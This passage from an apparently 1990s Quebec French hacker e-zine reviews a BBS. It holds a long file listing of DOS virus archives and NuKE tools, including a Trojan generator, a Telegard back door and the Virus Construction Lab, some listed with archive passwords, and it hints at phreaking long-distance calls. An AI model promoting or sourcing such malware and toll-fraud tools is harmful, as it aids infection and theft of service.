50 Do Nothing Virus [Nothing] DONTELLO.ZIP 1 50 Donatello Virus [VCL][Con] DOOMII .ZIP 1 50 Doom ][ Virus [Dm2] DOOMSDAY.ZIP 4 50 Doomsday Virus (Null/Scion) [Nl] DOTEATER.ZIP 1 50 DotEater Virus (Nina) [Nina] DOTKILL .ZIP 1 50 Dot Killer Virus [Dot] DR20 .ZIP 3 50 Data Rape 2.0 Virus DR22 .ZIP 6 50 Data Rape 2.2 Virus [Su2] DR23 .ZIP 2 50 Data Rape 2.3 Virus DRAPE-21.ZIP 0 50 Datarape v2.1 DROPPER2.ZIP 1 50 Dropper 2 Virus [Dr2] DROPSY .ZIP 3 50 Dropsy Virus (Timid) DRQUMAK .ZIP 1 50 Dr. Qumak Virus [Lisbon] DUMB .ZIP 8 50 Dumb Virus DURANGO .ZIP 6 50 Durango Virus (Viper/Leprosy) [Vip] DURBAN .ZIP 0 50 Durban Virus [Arma] DUTCH555.ZIP 0 50 Dutch 555 Virus [Dt] EAR .ZIP 2 50 Ear Virus [Ear] EARNESTO.ZIP 2 50 Earnesto Virus [UnScannable] EBV .ZIP 0 50 Eternal Blaze Virus EDV .ZIP 2 50 EDV Virus ELVIS .ZIP 1 50 Elvis Virus (Phalcon) EMF .ZIP 0 50 EMF Virus [Emf] EMFII .ZIP 0 50 EMF ][ Virus [Sr] ENCROAC2.ZIP 3 50 ENCROACHER 2-MtE, anti-CPAV, dirties files after din ENCROACH.ZIP 3 50 ENCROACHER - MtE-loaded anti-CPAV virus ENEMY .ZIP 1 50 Enemy Virus (Scr-2) [696] ENGLAND .ZIP 0 50 England Virus (334) [334] ENIGMA .ZIP 1 50 Enigma Virus [Enigma] ERASMUS .ZIP 1 50 Erasmus Virus (Murphy) [Murphy] EUROPE92.ZIP 1 50 Europe 92 Virus [E-92] EVIL .ZIP 2 50 Evil Virus [Plr] EVIL-D .ZIP 2 50 Evil-D Virus [Plr] EXPLODE .ARJ 1 50 Explode Virus (New Trivial) EXTERM .ZIP 0 50 Exterminator Virus [IB] FAKOFILE.ZIP 55 50 Dropper for VCL-Viriant [OW] FAMILY-N.ARJ 1 50 Family-N Virus [FN] FAMILY-Q.ARJ 0 50 Family-Q Virus [FQ] FATHERCH.ZIP 1 50 Father Christmas Virus [GenF][Lisbon] FEAR .ZIP 2 50 Fear Virus [Mut] FELLOW .ZIP 3 50 Fellowship Virus [fellow] FEXE10ER.ZIP 2 50 FEXE or 10ER virus - looks like a research virus FGT .ZIP 1 50 FGT Virus [FN] FIL .ZIP 2 50 Fil Virus [Fil] FILLER .ZIP 3 50 Filler Virus [Filler] FINGER .ZIP 1 50 Finger Virus [Murphy] FINN-709.ZIP 1 50 Finnish Virus (CSL Related) [CSL] FIRE-V .ZIP 3 50 Fire Virus FISH .ZIP 4 50 Fish Virus [Fish] FISH2 .ZIP 3 50 Fish ][ Virus [Fish] FLASH .ZIP 2 50 Flash Virus [Flash] FLEXITUP.ZIP 1 50 Flex Virus FLIP .ZIP 52 50 Flip Virus [Flip] FLIP2143.ZIP 5 50 Flip-2143 Virus [Flip] FLIP2343.ZIP 2 50 Flip-2343 Virus [Flip] FONER .ZIP 23 50 Foner Boot Virus FORM .ZIP 126 50 Form Virus - TD0 FRANCE .ZIP 1 50 France Virus (ZK900) [Z900] FREEW692.ZIP 1 50 FreeW Virus (Bob Viraint) [Bob] FRERE .ZIP 3 50 Frere Virus [Mule][Jeru] FREREJ .ZIP 1 50 Frere Jacques Virus [Mule][Jeru] FRIDAY .ZIP 4 50 Friday Virus (AntiCad/Plastique) [Plq] FRIENDS .ZIP 3 50 Friends Virus [ARCV] UnScaned COM FRODO .ZIP 3 50 Frodo Virus (4096) [4096] FROGS .ZIP 1 50 Frogs Virus [Frg] FUCKYOU .ZIP 0 50 Fuck You Virus [FW] FUMANCHU.ZIP 2 50 Fu Man Chu Virus [Fu] FUNKYKEY.ZIP 17 50 FunkyKey Virus FUTHARK .ZIP 2 50 Futhark Virus FVHS-A .ZIP 2 50 FVHS-A Virus (modified Leprosy) FVHS-B .ZIP 3 50 FVHS-B Virus (Modified Leprosy) G2-70B .ZIP 47 50 P/S Mass code producer GEE .ZIP 14 50 Gee Virus (number 1) [N1] GEEK .ZIP 1 50 Geek Virus GENERIC .ZIP 4 50 Family-Q Virus [FQ] GENESIS .ZIP 18 50 Genesis Virus GERGANA .ZIP 1 50 Gergana 182 Virus [Gerg] GHOST .ZIP 2 50 Ghostballs Virus (Family Virus) [FM] GIANTKLL.ZIP 6 50 Giant Kill Virus GOBLIN .ZIP 3 50 Goblin Virus (Cracker) [CRJ] GOOBER .ZIP 2 50 Goober Virus [Def] Define GOOBER2 .ZIP 0 50 Goober II Virus (VCL) [Con] VCL 2 GOTCHA1 .ZIP 1 50 gotcha-1 (A-Generation) [Gtc] GOTCHA4 .ZIP 1 50 Gotcha-4 (E Generation) [Gtc] GREEMLIN.ZIP 2 50 Diamond Greemlin Virus (Alfa) [Alf] GREEN .ZIP 1 50 Green Joker Virus [GRE] GREETING.ZIP 2 50 Greetings Virus GRITHER .ZIP 0 50 Grither Virus [GenF][Lisbon] GRLINKS .ZIP 3 50 Jerusalem Groen Links Virus [Jeru] GROUCH .ZIP 3 50 Grouch Virus (Timid Clone) [Tmd] GROUCH-E.ZIP 2 50 Grouch-E Virus (Timid Clone) [Tmd] GROUCH1 .ZIP 4 50 Grouch Virus (Timid Clone) [Tmd] GRUNT-1 .ZIP 2 50 Grunt-1 Virus [Grt-1] GRUNT2 .ZIP 2 50 Grunt-2 Virus UnScannable GRUNT4 .ZIP 2 50 Grunt-4 Virus UnScanable GUPPY .ZIP 1 50 Guppy Virus [Guppy] HACKTIC .ZIP 1 50 Tic Virus (109) [109] HAHA .ZIP 1 50 HaHa Virus [Sunday] HAIFA .ZIP 5 50 Haifa Virus [Hf] HALLOE .ZIP 5 50 Halloechen Virus [Hal] HAPPY .ZIP 4 50 Happy New Year Virus [HNY][Vor] HAPPY-N .ZIP 6 50 Happy N.Y Virus [HNY][Vor] HARAKI2 .ZIP 3 50 Harakiri Virus HARAKIRI.ZIP 6 50 Harakiri Virus HBT .ZIP 0 50 HBT Virus HEEVA .ZIP 52 50 Heeva Virus HEHHEH .ZIP 2 50 Heh Heh Virus (Timid Clone) [F-Prot] HERO .ZIP 0 50 Hero Virus [Hero] HH&H .ZIP 3 50 HH&H Virus HIDOS .ZIP 3 50 HiDos Virus [ARCV] UnScaned TSR-Boot HIGHLAND.ZIP 3 50 HighLander Virus HIV .ZIP 1 50 HiV Virus [Murphy] HIV-B .ZIP 1 50 Hiv Strain B HOLLAND .ZIP 1 50 Holland Girl Virus [Sylvia] HORSE-3 .ZIP 1 50 Horse-3 Virus [Hrs] HORSE-4 .ZIP 1 50 Horse-4 Virus [Hrs] HORSE-8 .ZIP 2 50 Horse-8 Virus [Hrs] HORSE2 .ZIP 1 50 Horse 2 Virus [Hrs] HORSE5 .ZIP 1 50 Horse 5 Virus [Hrs] HORSE6 .ZIP 1 50 Horse 6 Virus [Hrs] HR .ZIP 2 50 Hellraiser/Skism 18 Virus HUNGARY .ZIP 1 50 Hungary Virus [Hng] HYBRYD .ZIP 1 50 Hybryd Virus [Hyb] HYDRA-0 .ZIP 0 50 Hydra Strain 0 Virus [Pix] HYDRA-1 .ZIP 0 50 Hydra Strain 1 Virus [Pix] HYDRA-2 .ZIP 0 50 Hydra Strain 2 Virus [Pix] HYDRA-3 .ZIP 0 50 Hydra Strain 3 Virus [Pix] HYDRA-4 .ZIP 0 50 Hydra Strain 4 Virus [Pix] HYDRA-5 .ZIP 0 50 Hydra Strain 5 Virus [Pix] HYDRA-6 .ZIP 0 50 Hydra Strain 6 Virus [Pix] HYDRA-7 .ZIP 0 50 Hydra Strain 7 Virus [Pix] HYDRA-8 .ZIP 0 50 Hydra Strain 8 Virus [Pix] HYMN .ZIP 1 50 Hymn Virus [Hymn] HYMN2 .ZIP 2 50 Hymn ][ ( Sverdlov ) Virus [Sv] ICE-3 .ZIP 1 50 Icelandic III IGOR .ZIP 5 50 Igor Virus INCOM .ZIP 1 50 Incom Virus [Inc] INFINITI.ZIP 0 50 Infiniti Virus [GenF] INSUFF3 .ZIP 7 50 InStuff-3 equiped with MTE [MTE][DAME] INTRUDER.ZIP 1 50 Intruder INVADER .ZIP 2 50 Invader Virus [Invader] IRAQUI .ZIP 0 50 Iraqui Warrior Virus [Iwar] ISRAELI .ZIP 2 50 Israeli Virus [Jeru] ISRAELV .ZIP 0 50 Israel V Virus IT-PEST .ZIP 1 50 Cemetery Virus (Murphy) [Murphy] ITAVIR .ZIP 3 50 Itavir Virus ITTI .ZIP 0 50 Itti-Bitti Virus, Strains A & B (NuKE) J-INJECT.ZIP 8 50 Jerusalem Injector J4JV120 .ZIP 10 50 Jump For Joy v1.2 Virus JABERWOK.ZIP 2 50 Jabberwocky-812 Virus [Jab] JASMINE .ZIP 1 50 Jasmine Virus (MSK Clone) [MSK] JER-A204.ZIP 2 50 A-204 Virus (Jerusalem Varient) [Jeru] JERPUERT.ZIP 2 50 Puerto Rico Virus (Jeru Viriant) [Jeru] JERSPAIN.ZIP 1 50 Spanish Jerusalem Virus [Jeru] JERSULEM.ZIP 1 50 Jerusalem Virus [Jeru] JERU-A .ZIP 24 50 Jerusalem Virus Strain A [Jeru-A] JERU-B .ZIP 1 50 Jerusalem Virus, Strain B [Jeru] JERU-C .ZIP 2 50 Jerusalem Virus Strain C [Jeru] JERU1735.ZIP 1 50 Jerusalem-1735 JERU3 .ZIP 9 50 Jerusalem 3 Virus [Jeru] JERUB-3 .ZIP 1 50 Jerusalem Virus Stran B3 [Jeru] JERUB-I1.ZIP 1 50 Jerusalem (sUMsDOS-var) [Jeru] JERUB-I2.ZIP 3 50 Jerusalem B v2 Virus [Jeru] JERUB204.ZIP 1 50 Jerusalem (A-204) [Jeru] JFK .ZIP 11 50 JFK Virus (Frodo/4096) [4096] JO .ZIP 3 50 Joanna Virus [ARCV] [Joa] JOEXE .ZIP 2 50 Joanna Exersiser [ARCV] [Joa] JOJO .ZIP 4 50 JoJo Virus [170x] JOJO2 .ZIP 3 50 JoJo 2 Virus [170x] JOKER-01.ZIP 7 50 Joker-1 Virus [Joker] JOKER-02.ZIP 7 50 Joker-2 Virus [Joker] JOSHI .ZIP 10 50 Joshi Virus ( Teledisk ) [Joshi] JOSHIDRP.ZIP 12 50 Joshi Dropper [Drp] JOSHI_A .ZIP 4 50 Joshi-A Virus JO_V111 .ZIP 3 50 Joanna v1.1 Virus [ARCV] UnScaned TSR-COM JULY13 .ZIP 1 50 July 13th Virus JULY13 .ZIP 2 50 July The 13th Virus JUNE16TH.ZIP 1 50 June 16th Virus [Jun16] JUSTICE .ZIP 1 50 Justice Virus [Jus] KAMASYA .ZIP 2 50 Kamasya Virus [Pest] KAMIKAZE.ZIP 2 50 Kamikaze Virus [Kami] KEMEROV .ZIP 0 50 Kemerovo 257-A Virus [Kem] KENNEDY .ZIP 0 50 Dead Kennedy Virus [Tiny] KEYDROP .ZIP 2 50 KeyDrop Virus [Drp] KEYPRESS.ZIP 2 50 Keypress-1232 KIEV493 .ZIP 0 50 Kiev-493 Virus [Kiev] KILROY .ZIP 0 50 Kilroy Virus KINNNUKE.ZIP 6 50 Sam Kinnison Virus ( NuKE ) KKK .ZIP 6 50 Klu Klux Klan Virus KODE4V11.ZIP 0 50 Kode 4 virus v1.1 KODE4V3 .ZIP 0 5 Kode 4 v3.0 KOREA .ZIP 4 50 Korea Virus (TDO) [Korea] KUANG2 .ZIP 2 50 Kuang Grade Mark-11 Virus [Par] KYLIE .ZIP 2 50 Kylie Virus (Jerusalem) [Jeru] LABEL .ZIP 2 50 Label Virus [Label] LATE .ZIP 1 50 Late Night Virus LEECH .ZIP 1 50 Leech Virus [Leech] LEHIGH .ZIP 16 50 LeHigh Virus (Original) [LeHigh] LEHIGH2 .ZIP 23 50 Lehigh ][ Virus LEPRO-C1.ZIP 1 50 Leprosy-C1 [Lep3] LEPRO-C2.ZIP 1 50 Leprosy-C2 [Lep3] LEPROSY .ZIP 8 50 Leprosy Virus [RMIT] LEPROSYB.ZIP 12 50 Leprosy Virus, Strain B [LepB] LEPROSYC.ZIP 1 50 Leprosy Strain C LEPROSYD.ZIP 0 50 Leprosy Strain D LIBERTY .ZIP 3 50 Liberty Virus [Liberty] LIBERTY2.ZIP 3 50 Liberty-2 Virus [Liberty] LIGHT .ZIP 0 50 Lightning Virus LISBON .ZIP 0 50 Lisbon Virus [Lisbon] LISBON2 .ZIP 0 50 Lisbon 2 Virus [GenF][Lisbon] LOCK_UP .ZIP 0 50 Lock-Up Virus LOVECHLD.ZIP 0 50 Love Child Virus [LC] LOZ-1018.ZIP 1 50 Lozinsky 1018 Virus [Loz] LOZ-1023.ZIP 1 50 Lozinsky 1023 Virus [Loz] LOZINSKY.ZIP 2 50 Lozinsky Virus [Loz] LUCIFER4.ZIP 1 50 Lucifer v4.0 LUCIFR61.ZIP 0 50 Lucifer v6.1 LYTHYUM .ARJ 1 50 Lythyum Virus _16850 .ZIP 10 50 _16850 virus [C16] ------------ ------- 508 files 2137088 bytes total NukE produit aussi des programmes pour hackers et programmeurs de virii. On trouve entre autres dans leur arsenal original: [ NuKE Warez ] #7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Filename.Ext Bytes Description -------- --- ------- ------------------------------------------------------- BYPASS2 .ZIP 6 5 By Pass Trojan (Back maker for TG & Renegard) COM2 HPBOOK .ZIP 78208 - TSR DATABASE - To Store H/P infos NK-INFO1.ZIP 115712 NuKE Info-Journal #1 NK-INFO2.ZIP 79488 NuKE Info-Journal #2 :PW:514735 NK-INFO3.ZIP 142208 NuKE Info-Journal #3 :PW:POWER NK-INFO4.ZIP 65152 NuKE Info-Journal #4 :PW:PARTY NUKE-POX.ANS 2816 Special NuKE Pox v2.0 release ANSI from SSI & UPi!! NUKECTY2.GIF 22144 VGA for [NuKE] "NuKE City" (320x200x256) NUKECTY3.GIF 73984 VGA for [NuKE] "NuKE City" (640x480x256) NUKETYM .ZIP 2 5 NuKE's complete Tymnet OD/NUAs listing v6.2 NUTILS20.ZIP 111872 NoWhere Man Utilities, Has V1.0 + new ones of v2.0 NWHRVC .ZIP 25472 Expansion Kit for V.C.L. (NoWhereMan) TGBDR15 .ZIP 34688 Telegard Back Door TROG-V15.ZIP 36352 Trojan Generator VCL .ZIP 165376 Virus Construction Lab - By: Nowhere Man :PW: Chiba City :Must be installed in C:\VCL to work. ------------ ------- 15 files 963200 bytes total -= PAUSE =- Avis à ceux qui se disent: "Hein? NuKE sortent des Warez? Je pensais que c'était un groupe H/P/C/A/V ?!?" Ben, faites le lien entre les deux, pis ça ressemble à ça... Tout le monde a droit à l'éducation... Côté Virus, il y en a environ 1000-1100... Mieux que le 200 avec qui vous faites peur à votre grand-mère... Concluons... En résumé, les évaluateurs de NPC donnent deux pouces levés au Cybernetic Violence. On aime bien communiquer avec ce bab (WE'RE NOT WORTHY!). Pas pire du tout... Un des meilleurs dans le genre au Québec... ou ailleurs. Pour toute question supplémentaire, quelle qu'elle soit, vous pouvez rejoindre un officier de Npc. Ils se feront surement un plaisir de vous répondre... Pour le Numéro, vous pouvez l'avoir sur n'importe quel bon bbs supportant le Hack/Phreak (Workshop, Screeming Revulsion, Coffin of Darkness)... Partant du principe que beaucoup d'entre nous, Québécois, comptons nos sous pour les Ld (Sauf en Outdial ou par Code), il est, comme qui dirait, à portée de ligne... Et bien meilleur que beaucoup de babs de pacotille aux Us... Bref: Ca vaut le coup d'appeler, surtout si vous trippez sur la programmation. Dormez en paix; la guerre dans le monde c'est pas pour tout de suite; Etc; Etc...